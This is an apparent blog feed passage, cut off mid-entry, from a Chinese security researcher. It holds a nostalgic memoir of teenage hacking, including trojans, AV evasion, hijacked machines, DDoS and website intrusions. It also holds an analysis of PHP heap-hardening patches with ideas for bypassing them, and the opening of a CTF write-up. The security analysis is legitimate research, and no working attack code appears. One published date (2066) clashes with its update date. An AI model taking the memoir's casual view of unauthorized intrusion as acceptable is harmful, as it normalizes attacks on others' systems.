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  <title>maplgebra</title>
  
  <subtitle>a long time ago, in a galaxy far far away</subtitle>
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    <title>the-story-of-me</title>
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    <published>2066-05-04T19:39:44.000Z</published>
    <updated>2025-01-21T02:40:04.438Z</updated>
    
    <content type="html"><![CDATA[<h3 id="先讲一个2016年博客刚开的故事">先讲一个2016年博客刚开的故事:</h3><p>这里先讲一个故事，一个关于我的故事，一个摸爬滚打的“黑客”成长的故事。我很早就接触过这个专业的内容，准确来说是从初中开始接触网络安全的，那时我因为想玩私服，导致中毒了（还记得是机器狗），然后在网上到各种工具杀毒，可惜最后还是没能成功，只好叫来师傅帮忙重装了系统。在这过程中耽误了大量的时间，最后导致我爹经营多年的游戏账号被洗了。于是在愧疚和不甘的情绪下，这次意外的邂逅让我选择了未来的人生的路，也慢慢变成了同学眼中的"黑客"。</p><p>从那以后我开始研究各种杀毒软件，研究如何让电脑变得更安全。去了很多论坛，偶然之下去了360论坛，我骗了那个论坛大管理，还记得那个叫人随云，我当了防火墙区的版主。他一定不会知道在他面前的只是一个初二的学，不是什么大牛，其实什么都不会，只会百度。但是我也能帮助别人解决一些问题，似乎那时候360自己的防火墙才刚刚内测。特别地，那时觉得拥有一个远控很酷，我到处找，可没有方向，到最后被别人骗到电脑被控制，但我还是想要一个。最后我找了一个黑客论坛，我注册了帐号，开始在里面找各种东西学，很幸运我遇到了我生命中帮助我走上这条路的朋友，或者说是老师。</p><p>开始弄扫端口，弄肉鸡，没有服务器扫端口，所以只好无奈的找别人苦苦的求一个，却被我如获至宝，135，1433是那个时候最流行的东西吧，一个免杀的远控和扫端口，就是你的最大的宝物，我也成了其中一个人，很幸运我遇到了那些愿意帮助我的人，在这条路上很少有人愿意闲出时间帮你，远程教我lcx转发端口，给我远控，他教我踏踏试试去学一门语言，帮我远程装VC6，我心底谢谢他，我过了很长时间才知道，他放弃了他的爱好，回家结婚生子，有些时候要扛氧气瓶子走近70度的斜坡，我想这就是现实，我现在也没跟他联系过了，也许他忘了我这个曾经渴求的技术的菜鸟，但我心底始终有这么一个人。我还记得他的网名叫“曾经的美好”。</p><p>从那开始我认识到还是要学一门语言才行，选择了c语言，放学跑到新华书店高高兴兴的买了一本c语言的书，我把他当作至宝，可惜入门很难，我逐渐放弃，过了一段时间我又重启，不知道在哪看见一句话说视频学习可能会好一点，我开始了视频学习，叫一个郝斌的c语言教程，很生动，奇迹般我坚持了下来，170课每节课几十分钟，我坚持了下来，我逐渐能看懂一些平时的代码，我很庆幸自己学了c，这样我都能大致看懂其他语言，对我帮助很大。</p><p>那时，我又认识了一个我真正的师傅–冰蓝，他已经能自己写一些端口扫描的，他告诉我是用c写的，我平时有一些不懂的东西就问他. 因为逐渐地进入了初三，学业也比较重了，但并没有阻挡我的热血，一次我问我师傅，你最近在干嘛，他说渗透，我那时并不懂什么叫渗透，很好奇，师傅带我进入了这个新奇的领域，给我了一个90sec论坛账号和一些资料，但我那时我并没有在意。后来随着我师傅，我认识许多朋友，如今却已早已不联系。</p><p>那段时间，我学了做免杀，特征码，花指令，跳转，依稀还在心头，我还记得那是做出第一个ghost的免杀是多么高兴，过了金山，360，发在了论坛上，给大家分享。一个免杀许多特征码要改，是很难的，灰鸽子就太难了，几百处，所以我还是有耐心。我又学了缓冲区溢出，感谢ice的几个G的教程，如今shellcode都忘记的差不多了，还学了逆向破解，吾爱破解应该是最厉害的论坛吧，可惜没汇编的知识，很难我放弃了。 那时我记得越南菲律宾的南海权益站爆发了，身为小黑客的我也必须要给祖国做出自己的一份贡献，很搞笑是那时候在yy上（语音软件）在集合，我遇到了一个人还跟他讲技术，之后我才发现是一个大牛，我认为自己很搞笑，之后却成为了好朋友。</p><p>那时不懂技术就ddos呗，会的人就渗透，这一次我才真正的进入到渗透的奥秘，简单的sql开始，google搜索，到之后的bt5渗透平台，第一次拿后台，第一次拿shell，第一次拿服务器，我很开心那段时间，我常常因为往软件里跑个站睡着了，一睡醒就扫好了，那段时间技术提高很快，逐渐初三快结束了，考试我差几分没考起重点高中，出了几万块，我心里过意不去，离开了自己的网络，将一切东西封存，开始了努力学习，常常就翻翻c语言书，心里还是挺温暖的。</p><p>高中是一个学习的青春，每个人都这样，我也不过如此，没有了太多时间去弄其他的。离开了自己钟情的网络，时常上课会想想这些经历，总会笑起来。高中的图书馆我也去过不少但书太少太老，但也很感谢，学了linux操作系统，javascript等等，不过忘的差不多了，高三结束了，高考如期举行，在填志愿的时候，我毅然决然地选择了信息安全，每一个学校都是只填了这一个专业且不服从调剂，父母都给我担心。想考军校，去考了，没考起，体检太紧张，心跳快了，既然没考起就安心上学，我选择了许多信息安全的专业的学校，但是因为数学意外地失败，其实也不是意外，后知后觉吧。没想到来了天津理工，但是预料之中的。</p><p>沉迷了半年在大学生活，我有缘在博客园上看见了一个高二的学生追逐信息竞赛的梦想和执着，我想到了自己，上了自己理想的专业却无所作为， 我想重新开始，别忘了当初的梦想。曾经的hacker梦，未来谁也说不定，我的那些朋友应该基本都离开了网络，我是不是该坚持呢，我想只是我的梦想。我一路走了也学会了很多，不放弃。就这样，我一路走来与hacker有缘，我会坚持，从来都是自学，大多数黑客都是这样走来的吧。</p><p>上面就是我故事，但是实际要精彩的多，我写不出来。现在看来那些在的技术不过如此可笑，但我现在我总少一点当时在那种兴奋感，我走过的路没人知道，我的努力没人看见，不过没事。我知道自己在什么，累了歇歇。</p><h4 id="如何走下去">如何走下去？</h4><p>不管你是如何走上这条道路。首先你要学会感谢自己这一路走来你没有放弃，感谢自己一路上变得如此坚强。有人常常问我如何学起hacker,我可能一时无法回答他，因为这过程充斥了太多偶尔，缘份。也许你遇见我也是一种缘份，回头去看看那些牛逼的人，他们的成长之路也充满着太多偶尔，也许你生来就是为了这，喜欢探索，也许你会走在很顺。首先你得问自己一个问题，你是否真的对它感兴趣，不感兴趣，我劝你趁早放弃，浪费时间！</p><p>1.首先你可以去寻找一本类似所谓黑客的书看看是否感兴趣，如果有兴趣接着下去。</p><p>2.当一段时间脚本小子，然后可以接着深入。</p><p>3.学习一门语言或者多种</p><p>接下来的路你比我懂</p><p>学着独立去完成一个东西，别急着问别人，别人也没有那么多的耐心。其实你的路我也不知道，自己走下去，我相信你会走出自己的路。也许你现在能想到什么，那我也就值得了。</p><p>劈柴，打水，喂马，周游世界，挺好。end -M4p1e</p><hr /><h3 id="再讲一个2021年的故事">再讲一个2021年的故事</h3><p>看着上面稚嫩的语言，往事不堪回首啊！前天我在准备更新博客的时候，脑子抽筋把服务器reset了. 刚开始我楞了几秒，很快我知道我弄出大问题了. 当前vps是vultr，我马上去问了他们的工作人员，能否恢复数据？答案也很显然是不能，因为我没有打任何的snapshot和做任何的backup. 当时很无助，我不知道怎么办，那种感觉我不知道怎么说... 你最珍贵的东西突然间全部没有了! 但是我马上冷静下来，互联网是有记忆！说到这里不得不提一下paadqd了，它是大三我突发奇想写的一个php后端web框架. 你肯定会觉得它的名字很奇怪对吧，实际上它是有内在含义的，它代表着一条崎岖不平的路，象征着我这一路走过来的信安路. 是不是还像那么回事儿？哈哈！为了让它支持markdown，我使用了stackedit这样一个前端markdown的编辑器，paadqd会把文章完整的content内嵌到js中作为一个常量，交给stackedit去处理。 正是当初这一懒惰的做法，才有了现在的一线生机. 首先检查了一下google 是否有cache我的内容，Yes! its there! 几乎所有东西都在，配合百度的快照我觉得一切都回来了. 随即把所有的cached html都爬了下来. 当然也丢掉了一些内容，我想那些内容估计也没有人看，不如让它随风远去吧...</p><p>随之而来的问题是，我需要重建整个博客. 这一次我抛弃了我的paadqd，选择了更为省心的hexo. 我的第一准则是让我的博客看起来干净，于是开始了手工重建的工作，经过12小时的奋战，就有了现在你们看见的效果. 不得不说效果还是不错的嘛！ 这一次我做了万全策略！ 好吧，既来之，则安之。无论如何，新博客开张了！</p><p>2021-05-05</p><hr />]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;先讲一个2016年博客刚开的故事&quot;&gt;先讲一个2016年博客刚开的故事:&lt;/h3&gt;
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    <title>Memory Hardening in PHP</title>
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    <published>2024-11-18T18:00:00.000Z</published>
    <updated>2024-11-18T10:26:25.646Z</updated>
    
    <content type="html"><![CDATA[<h3 id="x01-介绍">0x01 介绍</h3><p>勤劳的PHP开发者们在今年对内存管理进行了大规模地安全加固，主要体现在以下pull requests里面:</p><ol type="1"><li>MM完整性检查: <a href="https://github.com/php/php-src/pull/13943">Add two checks for zend_mm_heap's integrity</a></li><li>影子指针 (Shadow pointer): <a href="https://github.com/php/php-src/pull/14054">Detect heap freelist corruption</a></li><li>内存隔离: <a href="https://github.com/php/php-src/pull/14304">Remote heap feng shui / heap spraying protection</a></li></ol><p>第一个比较简单，主要检查了memory chunk链表的完整性，但是实际作用不大，dstogov在comments里面提到了怎么简单地绕过它。这篇文章我们来review一下后面两种安全加固，并且讨论一下随之而且的其他安全性问题。</p><h3 id="x02-影子指针-shadow-pointer">0x02 影子指针 (Shadow Pointer)</h3><h4 id="原理">1. 原理</h4><p>原理很简单，在free block的尾部写入一个用random key (<code>heap-&gt;shadow_key</code>)编码过的pointer of next free block。此时free block大致内存布局如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">-------------------------------------</span><br><span class="line">| pointer_of_next_free_block        |</span><br><span class="line">-------------------------------------</span><br><span class="line">| ...                               |</span><br><span class="line">-------------------------------------</span><br><span class="line">| encoded_pointer_of_next_free_block|</span><br><span class="line">-------------------------------------</span><br></pre></td></tr></table></figure><p>其中</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">encoded_pointer_of_next_free_block = ((uintptr) pointer_of_next_free_block) ^ heap-&gt;shadow_key</span><br></pre></td></tr></table></figure><p>如何使用这个shadow pointer ?</p><ul><li><strong>alloc</strong> (of small size block) : 从对应free list取出free block， 并设置next free block时，检查next pointer和shadow pointer解码之后值是否相等，不相等就说明mm corrupted.</li><li><strong>free</strong> (of small size block) : 插入到对应free list时，同时设置好shadow pointer。</li></ul><p>对于用到的random key时会随着每一次http request和process fork改变。</p><h4 id="深入理解">2. 深入理解</h4><p>这里的安全加固对于单纯的PHP sandbox escape来说，没有影响，我之前的exploitation经历中几乎没有用到free lists的地方。对于Pwn with PHP app来说，如果你想要写掉free list上某个next pointer，可能就需要去预测random key或者去控制它。我们来看看和random key生成相关结构:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">zend_mm_heap</span> &#123;</span></span><br><span class="line">    ...</span><br><span class="line">    <span class="keyword">uintptr_t</span>  shadow_key;</span><br><span class="line">    <span class="keyword">pid_t</span> pid;</span><br><span class="line">    zend_random_bytes_insecure_state rand_state;</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// state = (php_random_bytes_insecure_state_for_zend *)zend_random_bytes_insecure_state</span></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">php_random_bytes_insecure_state_for_zend</span> &#123;</span></span><br><span class="line">    <span class="keyword">bool</span> initialized;</span><br><span class="line">    php_random_status_state_xoshiro256starstar xoshiro256starstar_state;</span><br><span class="line">&#125; php_random_bytes_insecure_state_for_zend;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">php_random_status_state_xoshiro256starstar</span> &#123;</span></span><br><span class="line">    <span class="keyword">uint64_t</span> state[<span class="number">4</span>];</span><br><span class="line">&#125; php_random_status_state_xoshiro256starstar;</span><br></pre></td></tr></table></figure><p>其中<code>rand_state</code>是用于生成<code>shadow_key</code>的相关generator的状态。其上相关操作:</p><ol type="1"><li><code>zend_mm_init_key()</code>: 引入(系统)随机数初始化<code>rand_state</code>，每个process只会运行一次 。</li><li><code>zend_mm_refresh_key()</code>: 在<code>rand_state</code>初始化之后，每次根据<code>rand_state</code>使用<code>xoshiro256**</code>算法生成<code>shadow_key</code>。</li></ol><p>第一步看起来是很安全 (我不是密码学专家) 。在第二步上貌似可以尝试recovery attack，通过多次request泄露的<code>shadow_key</code>，找到initial <code>rand_state</code> ? 比如可以看看<a href="https://github.com/achan001/xoshiro256-seed">xoshiro256-seed</a>。这个攻击难度可能会比想象中的大，因为你面对可能是多个fastcgi worker processes，如何稳定sampling某一个worker process的输出是一件不太容易的事。</p><h3 id="x03-内存隔离-zones">0x03 内存隔离 (Zones)</h3><h4 id="基本结构上的改变">1. 基本结构上的改变</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">if</span> ZEND_MM_HEAP_PROTECTION</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> ZEND_MM_BINS 30</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> ZEND_MM_ZONE_LEN        32 <span class="comment">/* ZEND_MM_BINS rounded to next power of two */</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> ZEND_MM_FREE_SLOT_LEN   (ZEND_MM_ZONE_LEN * ZEND_MM_ZONES)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> ZEND_MM_ZONE_DEFAULT    0</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> ZEND_MM_ZONES 2</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">else</span></span></span><br><span class="line">...</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">zend_mm_zone</span> &#123;</span></span><br><span class="line">    zend_mm_chunk *chunks;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">zend_mm_heap</span> &#123;</span></span><br><span class="line">    ...</span><br><span class="line"><span class="meta">#<span class="meta-keyword">if</span> ZEND_MM_HEAP_PROTECTION</span></span><br><span class="line">    zend_mm_free_slot **zone_free_slot;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line">    zend_mm_free_slot *free_slot[ZEND_MM_FREE_SLOT_LEN]; <span class="comment">/* free lists for small sizes */</span></span><br><span class="line">    zend_mm_zone       zones[ZEND_MM_ZONES];</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">zend_mm_chunk</span> &#123;</span></span><br><span class="line">    ...</span><br><span class="line"><span class="meta">#<span class="meta-keyword">if</span> ZEND_MM_HEAP_PROTECTION</span></span><br><span class="line">    zend_mm_free_slot **zone_free_slot;</span><br><span class="line">    zend_mm_zone      *zone;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在heap管理引入了zone的概念，目前只有两个zones:</p><ol type="1"><li><code>ZEND_MM_ZONE_USERINPUT</code>: 用于存储用户相关的输入 (远程请求参数和环境变量等) 。</li><li><code>ZEND_MM_ZONE_DEFAULT</code>: 用于存储其他计算结果 (trusted data) 。</li></ol><p>原来PHP是以memory chunks为基本单位来维护内存申请的，现在每个memory chunk都是和某个具体的zone绑定的，可以在 <code>_zend_mm_chunk</code>和<code>_zend_mm_zone</code>上的改动中看见。在<code>_zend_mm_heap</code>结构中，用<code>zone_free_slot</code>来隔离不同zones上小内存的申请，原本的<code>free_slot</code>用来存储所有zones上的free lists。从这里可以，你也许会猜，在切换zones时，PHP是否会调整<code>zone_free_slot</code>指针来指向<code>free_slot</code>上的不同位置。</p><h4 id="额外引入的操作">2. 额外引入的操作:</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># define ZEND_MM_ZONE_FREE_SLOT(heap, num)          (&amp;(heap)-&gt;free_slot[ZEND_MM_ZONE_LEN * num])</span><br><span class="line"># define ZEND_MM_CURRENT_ZONE(heap)                 (&amp;(heap)-&gt;zones[(uintptr_t)(&amp;(heap)-&gt;zone_free_slot[0] - &amp;(heap)-&gt;free_slot[0]) &#x2F; ZEND_MM_ZONE_LEN])</span><br><span class="line"># define ZEND_MM_FREE_SLOT(heap, bin_num)           ((heap)-&gt;zone_free_slot[(bin_num)])</span><br><span class="line"># define ZEND_MM_FREE_SLOT_EX(heap, chunk, bin_num) ((chunk)-&gt;zone_free_slot[(bin_num)])</span><br><span class="line"># define ZEND_MM_CHUNK_ZONE(heap, chunk)            ((chunk)-&gt;zone)</span><br></pre></td></tr></table></figure><p>根据<code>ZEND_MM_ZONE_FREE_SLOT</code>，每个zone会占据<code>heap-&gt;free_slot</code>上一块地址来存放自己的free lists。 同时根据<code>ZEND_MM_CURRENT_ZONE</code>，<code>heap-&gt;zone_free_slot</code>总是指向当前活跃的zone的free lists，反过来可以根据这个指针来确定当前活跃的zone是哪一个。</p><p>同时引入了3个函数来切换zones:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">ZEND_API <span class="keyword">void</span> <span class="title">zend_mm_userinput_begin</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">if</span> ZEND_MM_HEAP_PROTECTION</span></span><br><span class="line">    AG(use_userinput_zone)++;</span><br><span class="line">    AG(mm_heap)-&gt;zone_free_slot = ZEND_MM_ZONE_FREE_SLOT(AG(mm_heap), ZEND_MM_ZONE_USERINPUT);</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">ZEND_API <span class="keyword">void</span> <span class="title">zend_mm_userinput_end</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">if</span> ZEND_MM_HEAP_PROTECTION</span></span><br><span class="line">    AG(use_userinput_zone)--;</span><br><span class="line">    <span class="keyword">if</span> (!AG(use_userinput_zone)) &#123;</span><br><span class="line">        AG(mm_heap)-&gt;zone_free_slot = ZEND_MM_ZONE_FREE_SLOT(AG(mm_heap), ZEND_MM_ZONE_DEFAULT);</span><br><span class="line">    &#125;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">ZEND_API <span class="keyword">bool</span> <span class="title">zend_mm_check_in_userinput</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">if</span> ZEND_MM_HEAP_PROTECTION</span></span><br><span class="line">    <span class="keyword">return</span> AG(use_userinput_zone);</span><br><span class="line"><span class="meta">#<span class="meta-keyword">else</span></span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里的操作印证我们前面的操作，通过调整<code>heap-&gt;zone_free_slot</code>来进行zone的切换，同时可以通过<code>heap-&gt;use_userinput_zone</code>来查询当前活跃的是哪一个zone.</p><h4 id="深入细节">3. 深入细节</h4><p><strong>不同zone之间是否存在交互的可能？</strong></p><p>有一个很容易想到的场景，比如先在userinput zone中申请了一块内存，然后切换到了default zone再将这块内存释放。这块内存是否会跑到default_zone的free lists上？</p><p>答案是不会，来看alloc和free的具体操作:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"># <span class="meta-keyword">define</span> ZEND_MM_FREE_SLOT(heap, bin_num)           ((heap)-&gt;zone_free_slot[(bin_num)])</span></span><br><span class="line"><span class="meta"># <span class="meta-keyword">define</span> ZEND_MM_FREE_SLOT_EX(heap, chunk, bin_num) ((chunk)-&gt;zone_free_slot[(bin_num)])</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> zend_always_inline <span class="keyword">void</span> *<span class="title">zend_mm_alloc_small</span><span class="params">(...)</span> </span>&#123;</span><br><span class="line">    ...</span><br><span class="line">    <span class="keyword">if</span> (EXPECTED(ZEND_MM_FREE_SLOT(heap, bin_num) != <span class="literal">NULL</span>)) &#123;</span><br><span class="line">        zend_mm_free_slot *p = ZEND_MM_FREE_SLOT(heap, bin_num);</span><br><span class="line">        ZEND_MM_FREE_SLOT(heap, bin_num) = zend_mm_get_next_free_slot(heap, bin_num, p);</span><br><span class="line">        <span class="keyword">return</span> p;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        ...</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">static</span> zend_always_inline <span class="keyword">void</span> zend_mm_free_small(...) &#123;</span><br><span class="line">    ...</span><br><span class="line">    zend_mm_set_next_free_slot(heap, bin_num, p, ZEND_MM_FREE_SLOT_EX(heap, chunk, bin_num));</span><br><span class="line">    ZEND_MM_FREE_SLOT_EX(heap, chunk, bin_num) = p;</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>alloc操作没什么好说的。free操作会将被释放的内存丢到<code>chunk-&gt;zone_free_slot</code>上，它是对应zone下的<code>&amp;heap-&gt;free_slot[ZEND_MM_ZONE_LEN * zone_num]</code>，所以这里是安全的。</p><p><strong>目前哪些地方用到了userinput zone?</strong></p><p>我们可以看哪些地方调用了<code>zend_mm_userinput_begin</code>，目前有4个地方:</p><ol type="1"><li><code>shutdown_memory_manager()</code> : 当不是full shutdown时，shutdown之后会进入userinput_zone。 这样的<code>shutdown_memory_manager</code>通常会在module startup和request end调用结束执行。我不是很理解这里做法，dev是否认为这里是一个request startup之前的时间点 ?</li><li><code>accel_finish_startup_preload()</code>: 这里是因为在preload的时候，也有一个fake request startup，但这里的时间点 (<code>zend_post_startup</code>) 比较早，因此<code>shutdown_memory_manager</code>并没有被调用。</li><li><code>zend_is_auto_global_str()</code> 和 <code>zend_is_auto_global()</code>: 这是因为特殊变量<code>_SERVER</code>，<code>_ENV</code>和<code>_COOKIE</code>存在延时初始化的可能，即当其被使用的时候才会去初始化。</li></ol><p><code>zend_mm_userinput_end</code>和<code>zend_mm_userinput_begin</code>通常是对称出现的。比较特殊的是，在request startip调用结束的时候，会有一个<code>zend_mm_userinput_end</code>，应该是对应上面第一个地方的<code>zend_mm_userinput_begin</code>调用。在dev的介绍中，他设想未来将json和反序列化相关操作也放到userinput zone里面。</p><h4 id="关于内存隔离的思考">4. 关于内存隔离的思考</h4><p>这个内存隔离策略一旦被merge到主线上，利用http请求来布置内存的方式，将彻底说再见。这对于单纯的PHP sandbox escape来说，也没有影响。但是对于Pwn with PHP app来说，以后的exploitation可能更加依赖用户代码，比如你需要先找到稳定堆喷的地方，才能在default zone上进行布置。</p><p>目前关于userinput zone和default zone使用边界还不是很清晰，过度使用userinput zone，同样可能增加新的攻击面。比如现在把<code>unserialize</code>也扔到userinput zone里面去，此时正好可以利用<code>unserialize</code>上某个漏洞，这下芭比Q了。我们直接可以通过http request布置出理想的内存，并且还可以避免PHP内部其他未知干扰。关于这一点，我已经写了一个comment在目前的pull request里面。另外这里可能还会诞生出一种fake zone攻击效果。这都是后话了，暂且等等最终版是啥。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;x01-介绍&quot;&gt;0x01 介绍&lt;/h3&gt;
&lt;p&gt;勤劳的PHP开发者们在今年对内存管理进行了大规模地安全加固，主要体现在以下pull requests里面:&lt;/p&gt;
&lt;ol type=&quot;1&quot;&gt;
&lt;li&gt;MM完整性检查: &lt;a href=&quot;https://github</summary>
      
    
    
    
    <category term="php" scheme="https://m4p1e.com/categories/php/"/>
    
    
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    <title>N1CTF24 PHP Master Writeup</title>
    <link href="https://m4p1e.com/2024/11/12/n1ctf24-php-master/"/>
    <id>https://m4p1e.com/2024/11/12/n1ctf24-php-master/</id>
    <published>2024-11-12T18:00:00.000Z</published>
    <updated>2024-11-13T04:49:05.717Z</updated>
    
    <content type="html"><![CDATA[<h3 id="x01-介绍">0x01 介绍</h3><p>在刚刚过去的N1CTF24上，我出了一道关于PHP的pwn题，其中涉及到的漏洞[1]是真实存在的，并且目前依然没有被修复。非常遗憾，期待的PHP master并没有出现在这次的比赛中，让我们期待下次的PHP rising star xd。在这篇文章中我会讲到以下内容:</p><ol type="1"><li>出题思路。</li><li>PHP pwn下的一般性解决路径。</li><li>PHP Master的解题思路。</li></ol><p>希望能帮助到大家。相关的<a href="https://github.com/m4p1e/php-exploit/tree/master/n1ctf24-php-master">利用方式</a>。</p><h3 id="x02-出题思路">0x02 出题思路</h3><p>对于题目中出现的PHP漏洞，我已经在文章[2]中讨论过了。首先，就它的重要性而已，它可以作为一个PHP sandbox escape方案去攻击目前所有的PHP7-8解释器。因此我想以它为背景来做一道题，但是我不希望以sandbox escape的形式呈现 (即允许选手可以执行任意PHP代码)。于是我转而在考虑一个场景:</p><ol type="1"><li>一个没有明显漏洞的PHP应用，</li><li>但跑在一个有缺陷的PHP解释器上。</li></ol><p>最后，<strong>我们通过和这个PHP应用来交互来攻击背后的PHP解释器</strong>。这看起来是一个可能在现实中碰到的场景，于是我写了一个满足上述要求的PHP应用。另外，为了降低难度，我在这个PHP应用里面加一个可以充当PHP反序列化链的black door。其实我有点担心，这会不会干扰选手的做题思路，去往pwn <code>unserialize</code>这个函数上靠，所以我这专门上了<code>gzdeflate</code>对数据进行了处理，告诉选手不要希冀这里。最后希望是没有出现这样的情况 (如果有，那只能say sorry了)。所以这里还引入了一点点关于web的知识点。</p><h3 id="x03-一般性解决路径">0x03 一般性解决路径</h3><p>这里我分享一下，我个人在尝试研究PHP时的一般性解决路径。首先你要熟悉一些编程语言向的基本知识:</p><ol type="1"><li>基本变量类型(string, double, integer, array, ...)在PHP内部表示。</li><li>能够快速找到PHP内置函数(native function) 的定义。例如搜索, <code>PHP_FUNCTION(xxx)</code>。</li><li>大概知道编程语言编译器的概念，能够快速得到目标PHP代码，被编译成了哪些中间指令。可以参考<a href="https://github.com/php/php-src/blob/master/Zend/zend_compile.c">zend_compile.c</a>, 注意PHP编译过程会现将目标代码转换成抽象语法树，再从语法树上编译得到最终中间指令。当然你也使用一些工具，来生成中间指令，比如<a href="https://github.com/derickr/vld">vld</a>或者PHP本身的opcache。</li><li>大概知道编程语言解释器的概念，能够快速找到PHP解释器关于某个指令的解释过程。可以参考<a href="https://github.com/php/php-src/blob/master/Zend/zend_vm_def.h">zend_vm_def.h</a>，它里面包括了所有PHP指令的解释过程，它并不是executable的，它还需要进行一次处理就可以得到实际的解释过程<a href="https://github.com/php/php-src/blob/master/Zend/zend_vm_execute.h">zend_vm_execute.h</a> (大几万行代码，看着可能非常难受)。我推荐尽量看前者弄清楚语义，需要下断点的时候，去后者里面找。</li><li>了解PHP内存管理，它的实现并不复杂，我的建议是直接看代码，去<a href="https://github.com/php/php-src/blob/master/Zend/zend_alloc.c">zend_alloc.h</a>看<code>emalloc</code>和<code>efree</code>的实现。</li><li>PHP基本的生命周期。弄清楚这一点有助于你在比较关键的点下断点。</li></ol><p>了解上面的东西，感觉也就差不多了。后面提及一些比较有用的细节。</p><p><strong>如何愉快地编译PHP 